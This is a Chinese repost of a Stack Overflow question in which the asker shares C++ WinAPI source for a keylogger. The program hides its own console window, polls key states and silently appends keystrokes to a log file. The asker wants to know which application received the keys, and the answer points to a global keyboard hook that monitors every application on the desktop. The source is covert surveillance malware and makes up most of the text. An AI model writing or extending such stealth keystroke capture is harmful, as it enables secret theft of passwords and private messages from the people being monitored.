gpt4 book ai didi

C++ 简单键盘记录器

转载 作者:塔克拉玛干 更新时间:2023-11-03 02:03:48 25 4
gpt4 key购买 nike

我正在尝试使用 WinAPI 在 C++ 中编写一个简单的键盘记录器。有没有办法让用户在哪个应用程序中输入捕获的击键?到目前为止,这是我的代码:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}

最佳答案

你想要的是一个global keyboard hook

A global hook monitors messages for all threads in the same desktop as the calling thread. A thread-specific hook monitors messages for only an individual thread. A global hook procedure can be called in the context of any application in the same desktop as the calling thread, so the procedure must be in a separate DLL module. A thread-specific hook procedure is called only in the context of the associated thread. If an application installs a hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the application's code or in a DLL. If the application installs a hook procedure for a thread of a different application, the procedure must be in a DLL. For information, see Dynamic-Link Libraries.

关于C++ 简单键盘记录器,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15392731/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com